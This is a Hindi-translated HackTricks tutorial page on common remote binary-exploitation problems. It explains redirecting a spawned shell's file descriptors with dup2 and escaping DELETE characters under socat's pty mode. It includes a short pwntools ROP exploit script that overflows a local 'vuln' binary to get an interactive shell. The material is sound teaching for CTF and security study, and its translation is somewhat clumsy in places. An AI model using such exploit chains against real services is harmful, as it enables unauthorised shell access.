hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md

45 lines
4.9 KiB
Markdown
Raw Normal View History

# सामान्य अनुशासन समस्याएं
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** (https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके**.
</details>
## दूरस्थ शोषण में एफडीs
जब एक एक्सप्लॉइट को एक रिमोट सर्वर पर भेजा जाता है जो **`system('/bin/sh')`** को कॉल करता है, तो यह सर्वर प्रक्रिया में निष्पादित होगा, और `/bin/sh` stdin से इनपुट की उम्मीद करेगा (FD: `0`) और stdout और stderr में आउटपुट प्रिंट करेगा (FDs `1` और `2`)। इसलिए हमलावर शैली से शैल से संवाद करने में सक्षम नहीं होगा।
इसे ठीक करने का एक तरीका यह है कि समझा जाए कि जब सर्वर शुरू हुआ तो यहने **FD नंबर `3`** (सुनने के लिए) बनाया था और फिर, आपका कनेक्शन **FD नंबर `4`** में होगा। इसलिए, यह संभावना है कि सिस्टम कॉल **`dup2`** का उपयोग करना है ताकि stdin (FD 0) और stdout (FD 1) को FD 4 में डुप्लिकेट किया जा सके (हमलावर के कनेक्शन का एक) इसलिए इसे निष्पादित होने पर शैल से संपर्क करने में सक्षम होगा।
[**यहाँ से एक्सप्लॉइट उदाहरण देखें**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat और pty
ध्यान दें कि socat पहले से ही `stdin` और `stdout` को सॉकेट पर स्थानांतरित कर देता है। हालांकि, `pty` मोड **DELETE वर्णों को शामिल** करता है। इसलिए, अगर आप `\x7f` ( `DELETE` -) भेजते हैं तो यह आपके एक्सप्लॉइट के पिछले वर्ण को **हटा देगा**
इसे इसको अनदर गुम करने के लिए **भागने वाला वर्ण `\x16` किसी भी `\x7f` के साथ भेजा जाना चाहिए।**
**यहाँ आप** [**इस व्यवहार का एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**।**